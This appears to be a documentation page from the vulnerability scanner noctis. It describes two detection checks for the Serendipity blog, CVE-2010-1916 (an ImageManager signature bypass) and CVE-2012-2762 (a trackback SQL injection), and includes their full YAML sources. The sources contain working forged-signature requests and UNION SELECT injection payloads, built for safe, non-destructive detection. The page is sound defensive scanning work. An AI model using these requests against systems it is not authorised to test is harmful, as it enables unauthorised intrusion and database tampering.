Serendipity — 2 vulnerability checks

noctis ships 2 vulnerability checks for Serendipity, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Serendipity Xinha ImageManager Configuration Signature Bypass

CVECVE-2010-1916
Severityhigh · CVSS 7.5
Categoryauth-bypass — Auth bypass
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/serendipity/CVE-2010-1916.yaml

Tests the Xinha WYSIWYG editor bundled with Serendipity (1.5.2 and earlier, under /htmlarea) and standalone Xinha copies for the configuration signature bypass of the ImageManager plugin: the request names the session key that holds the signing secret, so a key that does not exist turns the secret into an empty string and the signature into a plain SHA-1 of the configuration. The feed requests plugins/ImageManager/manager.php with a configuration holding only an unused random entry, its SHA-1 as signature and a random session key name, and reports when the page accepts it and prints the rebuilt backend URL with the forged signature; a second request with a wrong signature must be refused with "Backend security error.". No setting the plugin uses is changed and no file is uploaded or modified.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/plugins/ImageManager/manager.php?backend_config={{g.cfg_q}}&backend_config_ha…
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{dir}}/plugins/ImageManager/manager.php?backend_config={{g.cfg_q}}&backend_config_ha…
  5. Parses / computes the next value with a Rhai script
  6. Checks hit for ^/ → finding QoD 75: Serendipity Xinha ImageManager Configuration Signature Bypass (CVE-2010-1916)

References:

Feed source — tests/vulnerabilities/serendipity/CVE-2010-1916.yaml
# Serendipity / Xinha ImageManager "deprecated config passing" bypass — CVE-2010-1916
#
# Serendipity 1.5.2 and earlier bundles the Xinha WYSIWYG editor under
# /htmlarea. Its ImageManager plugin (plugins/ImageManager/config.inc.php)
# still honours the "deprecated config passing" request parameters:
#
#   session_start();
#   $secret = $_SESSION[$_REQUEST['backend_config_secret_key_location']];
#   if($_REQUEST['backend_config_hash'] !== sha1($_REQUEST['backend_config'] . $secret))
#     die("Backend security error.");
#   $IMConfig = array_merge($IMConfig, unserialize($_REQUEST['backend_config']));
#   $IMConfig['backend_url'] .= "backend_config=" . rawurlencode(...) . '&' ... ;
#
# The caller picks the session key that holds the secret: naming a key that
# does not exist makes the secret empty, so sha1(backend_config) is a valid
# signature and any unauthenticated visitor can rewrite the plugin
# configuration (base_dir, images_dir, upload rights...), which leads to
# file inclusion / upload of code. The ImageManager sibling
# ExtendedFileManager checks array_key_exists() first and is not affected.
# Serendipity 1.5.3 (2010-05-10, commit 0575e407 / 6836ebbf) unsets
# backend_config / backend_data in contrib/php-xinha.php and disables the
# signed-data reader.
#
# Detection (no configuration change): under each candidate Xinha folder,
# GET plugins/ImageManager/manager.php with backend_config = a serialized
# one-entry array holding a random key ("noctis" => <random hex>, merged into
# the config but read by nothing), backend_config_hash = sha1(backend_config)
# and backend_config_secret_key_location = a random session key that cannot
# exist. A vulnerable copy accepts the forged signature and prints the
# rebuilt backend URL "backend_config=<value>&backend_config_hash=<sha1>&
# backend_config_secret_key_location=<key>&" in manager.php's _backend_url.
# A control request with a wrong hash must then be refused with
# "Backend security error." (and not echo its hash), which rules out pages
# that reflect the query string (QoD 75).
#
# Improvements over the source NASL:
#   - The NASL reports any Serendipity <= 1.5.2 whose Xinha example page
#     htmlarea/examples/ExtendedDemo.html exists; it never sends the forged
#     configuration. Serendipity 1.5.3 still ships that example page, so the
#     NASL relies on the version alone. The feed proves the forged signature
#     is accepted, and needs no version (backported fixes, edited copies and
#     standalone Xinha <= 0.96 beta 2 installs are judged by behaviour).
#   - The feed checks a refused wrong-hash control, so a page reflecting the
#     query string is not reported.
#
# CVSS: CVE-2010-1916 v2 7.5 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2010/gb_serendipity_sec_bypass_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.801337, GPL-2.0-only).
uid: 5a42416e-802d-4732-a74d-0a140d3b9dfb
name: "Serendipity Xinha ImageManager Configuration Signature Bypass (CVE-2010-1916)"
description: |
  Tests the Xinha WYSIWYG editor bundled with Serendipity (1.5.2 and
  earlier, under /htmlarea) and standalone Xinha copies for the
  configuration signature bypass of the ImageManager plugin: the request
  names the session key that holds the signing secret, so a key that does
  not exist turns the secret into an empty string and the signature into a
  plain SHA-1 of the configuration. The feed requests
  plugins/ImageManager/manager.php with a configuration holding only an
  unused random entry, its SHA-1 as signature and a random session key
  name, and reports when the page accepts it and prints the rebuilt backend
  URL with the forged signature; a second request with a wrong signature
  must be refused with "Backend security error.". No setting the plugin
  uses is changed and no file is uploaded or modified.
cves: [CVE-2010-1916]
cvss: 7.5
severity: high
category: auth-bypass
confidence_base: 0.30
tags: [serendipity, xinha, php, imagemanager, auth-bypass, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-1916"
  - "https://github.com/s9y/Serendipity/commit/6836ebbf28a3b10184217db727c2b0d8a67f2d03"
  # OpenVAS/Greenbone NASL 2010/gb_serendipity_sec_bypass_vuln.nasl (GPL-2.0-only)

steps:
  # Forged configuration: one unused random entry, signed with an empty secret.
  - id: gen
    action: script
    code: |
      let tok = rand_hex(8);
      let cfg = "a:1:{s:6:\"noctis\";s:16:\"" + tok + "\";}";
      let q = "a%3A1%3A%7Bs%3A6%3A%22noctis%22%3Bs%3A16%3A%22" + tok + "%22%3B%7D";
      let loc = "noctis" + rand_hex(6);
      #{ cfg_q: q, hash: sha1(cfg), bad: sha1(cfg + loc), loc: loc }
    store_as: g

  - id: init-hit
    action: set_var
    var_name: hit
    var_value: ""

  # ── Loop group: every following step runs once per Xinha folder ──────────
  - id: init-probe
    action: set_var
    var_name: probe
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["/htmlarea", "/serendipity/htmlarea", "/blog/htmlarea", "/s9y/htmlarea", "/xinha"]

  - id: init-ctl
    action: set_var
    var_name: ctl
    var_value: {status: 0, body: ""}

  - id: init-accepted
    action: set_var
    var_name: accepted
    var_value: false

  - id: send-forged
    action: http_request
    method: GET
    path: "{{dir}}/plugins/ImageManager/manager.php?backend_config={{g.cfg_q}}&backend_config_hash={{g.hash}}&backend_config_secret_key_location={{g.loc}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit == ""'
    store_as: probe

  # The rebuilt backend URL carries the forged config, hash and key name.
  - id: check-forged
    action: script
    condition: 'hit == ""'
    code: |
      let b = if type_of(probe.body) == "string" { probe.body } else { "" };
      probe.status == 200 && b.contains("backend_config=" + g.cfg_q + "&backend_config_hash=" + g.hash + "&backend_config_secret_key_location=" + g.loc + "&") && !b.contains("Backend security error.")
    store_as: accepted

  # Control: same request with a wrong hash must be refused.
  - id: send-control
    action: http_request
    method: GET
    path: "{{dir}}/plugins/ImageManager/manager.php?backend_config={{g.cfg_q}}&backend_config_hash={{g.bad}}&backend_config_secret_key_location={{g.loc}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit == "" && accepted'
    store_as: ctl

  - id: verdict
    action: script
    condition: 'hit == "" && accepted'
    code: |
      let b = if type_of(ctl.body) == "string" { ctl.body } else { "" };
      if b.contains("Backend security error.") && !b.contains(g.bad) { dir } else { "" }
    store_as: hit

  # ── Finding ───────────────────────────────────────────────────────────────
  - id: report
    action: match
    source: hit
    pattern: "^/"
    on_match:
      finding:
        title: "Serendipity Xinha ImageManager Configuration Signature Bypass (CVE-2010-1916)"
        description: "The ImageManager plugin of the Xinha editor accepted a configuration signed with an empty secret: the request named a session key that does not exist as the location of the signing secret, and the plugin took the plain SHA-1 of the configuration as valid and merged it, while a wrong signature was refused with \"Backend security error.\". Any unauthenticated visitor can therefore override the plugin configuration (base directory, image directory, upload rights), which allows file inclusion and the upload of executable code."
        remediation: "Upgrade Serendipity to 1.5.3 or later (standalone Xinha to 0.96.1 or later), or remove the htmlarea/plugins/ImageManager, ExtendedFileManager, InsertSnippet and Linker folders if the bundled editor plugins are not used."
        confidence_delta: 0.50
        qod: 75
        evidence: "{{hit}}/plugins/ImageManager/manager.php accepted backend_config signed as sha1(config) with secret location {{g.loc}} (rebuilt backend URL printed); the same request with a wrong hash was refused with \"Backend security error.\""
      stop: true

Serendipity comment.php trackback url SQL injection

CVECVE-2012-2762
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/serendipity/CVE-2012-2762.yaml

Serendipity builds the "do we already have this trackback" query of its trackback receiver (comment.php?type=trackback) by pasting the url parameter into the SQL statement without escaping it (releases before 1.6.2), so an unauthenticated visitor can change the query.

The check posts two trackbacks for an entry that does not exist, each with a random marker url that closes the string and adds a UNION SELECT of the eighteen columns the query returns. In the first the added row is selected (WHERE '1'='1'), so the query yields exactly one row and the receiver answers "trackback failed"; in the second it is not (WHERE '1'='2'), no row matches and the trackback is accepted (<error>0</error>). Different answers to the two requests prove the url is executed as SQL. Fixed releases escape the quote and answer both the same way. It tries the usual blog paths.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/{{g.t}}
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{dir}}/{{g.f}}
  5. Parses / computes the next value with a Rhai script
  6. Checks hit for comment.php$ → finding QoD 75: Serendipity comment.php trackback url SQL injection (CVE-2012-2762)

References:

Feed source — tests/vulnerabilities/serendipity/CVE-2012-2762.yaml
# Serendipity include/functions_trackbacks.inc.php — add_trackback() SQL injection
# through the url parameter of comment.php (CVE-2012-2762).
#
# Source check (s9y/Serendipity tags 1.6.1 and 1.6.2): add_trackback() asks
# serendipity_fetchComments() whether the trackback is already stored, with
# the sender's url pasted into the WHERE clause as `AND co.url='$url'`.
# 1.6.2 wraps it in serendipity_db_escape_string(); that one line is the whole
# fix. When exactly one row comes back the trackback is "already there" and
# comment.php answers with report_trackback_failure() (<error>1</error>,
# "Danger Will Robinson, trackback failed."); otherwise the trackback is saved
# and report_trackback_success() answers <error>0</error>.
#
# CVSS: NVD has only a v2 score for CVE-2012-2762 (7.5); no v3.x.
#
# Ported from OpenVAS/Greenbone NVT 2012/gb_serendipity_53620.nasl
# (OID 1.3.6.1.4.1.25623.1.0.103526, GPL-2.0-only), which sends
# comment.php?type=trackback&entry_id=1&url=' OR 1 -- 2 and reports <error>1</error>.
#
# Better than the NVT: that request only fails when the blog holds exactly
# one trackback on entry 1, so it misses nearly every real install and reports
# any page that answers <error>1</error>. The feed instead makes the query
# return exactly one row by itself: the url closes the string and appends a
# UNION SELECT of the 18 columns of the comments query from a derived table,
# followed by `WHERE '1'='1` (true) or `WHERE '1'='2` (false control; the
# application's own closing quote ends the literal). Vulnerable: the true
# request is answered "trackback failed" and the false control is saved
# ("<error>0</error>"). A fixed or unrelated page cannot tell the two apart.
# Both requests use a random marker url and an entry id that does not exist.
# The only write is the false control (one trackback row on a non-existent
# entry), which a fixed blog also stores; nothing is read from the database.
uid: 6b9999df-eb38-49cd-964b-a3e074e51a26
name: "Serendipity comment.php trackback url SQL injection"
description: |
  Serendipity builds the "do we already have this trackback" query of its
  trackback receiver (comment.php?type=trackback) by pasting the url
  parameter into the SQL statement without escaping it (releases before
  1.6.2), so an unauthenticated visitor can change the query.

  The check posts two trackbacks for an entry that does not exist, each with
  a random marker url that closes the string and adds a UNION SELECT of the
  eighteen columns the query returns. In the first the added row is selected
  (WHERE '1'='1'), so the query yields exactly one row and the receiver
  answers "trackback failed"; in the second it is not (WHERE '1'='2'), no row
  matches and the trackback is accepted (<error>0</error>). Different answers
  to the two requests prove the url is executed as SQL. Fixed releases escape
  the quote and answer both the same way. It tries the usual blog paths.
category: sqli
cves: [CVE-2012-2762]
cvss: 7.5
severity: high
confidence_base: 0.30
tags: [serendipity, s9y, php, sqli, trackback, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2012-2762"
  - "https://www.securityfocus.com/bid/53620"
  # OpenVAS/Greenbone NASL 2012/gb_serendipity_53620.nasl (GPL-2.0-only)

steps:
  - id: gen
    action: script
    code: |
      let m = "nx" + rand_hex(8);
      let cols = "1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18";
      let base = "comment.php?type=trackback&entry_id=2147480000&url=" + m + "%27%20UNION%20SELECT%20" + cols + "%20FROM%20(SELECT%201%20AS%20id)%20AS%20co%20WHERE%20%271%27%3D%271";
      #{ t: base, f: base.sub_string(0, base.len() - 1) + "2", mark: m }
    store_as: g

  - id: init-hit
    action: set_var
    var_name: hit
    var_value: ""

  # ── Loop group: every following step runs once per blog path ──────────────
  - id: init-t
    action: set_var
    var_name: rt
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/serendipity", "/s9y", "/blog"]

  - id: init-f
    action: set_var
    var_name: rf
    var_value: {status: 0, body: ""}

  - id: init-failed
    action: set_var
    var_name: failed
    var_value: false

  - id: send-true
    action: http_request
    method: GET
    path: "{{dir}}/{{g.t}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 12
    condition: 'hit == ""'
    store_as: rt

  - id: check-true
    action: script
    condition: 'hit == ""'
    code: |
      let b = if type_of(rt.body) == "string" { rt.body } else { "" };
      rt.status == 200 && stridx(b, "<error>1</error>") >= 0 && stridx(b, "trackback failed") >= 0
    store_as: failed

  # Control: same injection, WHERE '1'='2' — no row, so the trackback is saved.
  - id: send-false
    action: http_request
    method: GET
    path: "{{dir}}/{{g.f}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 12
    condition: 'hit == "" && failed'
    store_as: rf

  - id: verdict
    action: script
    condition: 'hit == "" && failed'
    code: |
      let b = if type_of(rf.body) == "string" { rf.body } else { "" };
      if rf.status == 200 && stridx(b, "<error>0</error>") >= 0 && stridx(b, "trackback failed") < 0 {
        dir + "/comment.php"
      } else { "" }
    store_as: hit

  - id: report
    action: match
    source: hit
    pattern: "comment.php$"
    on_match:
      finding:
        title: "Serendipity comment.php trackback url SQL injection (CVE-2012-2762)"
        description: "The trackback receiver of Serendipity pastes the url parameter into the SQL query that looks for an existing trackback without escaping it. A url that closes the string and appends a UNION SELECT of the query's eighteen columns made the query return exactly one row and the receiver answered \"trackback failed\" when the added row was selected (WHERE '1'='1'), while the same request with WHERE '1'='2' was accepted. An unauthenticated visitor can therefore alter the query and read or modify the blog database."
        remediation: "Upgrade Serendipity to 1.6.2 or later, which escapes the url in add_trackback(). Until then block requests to comment.php with type=trackback."
        confidence_delta: 0.45
        qod: 75
        evidence: "{{hit}}?type=trackback with url {{g.mark}}' UNION SELECT 1..18 ... WHERE '1'='1 was refused as already stored (<error>1</error>) while WHERE '1'='2 was accepted (<error>0</error>)"
      stop: true

View these feeds on GitHub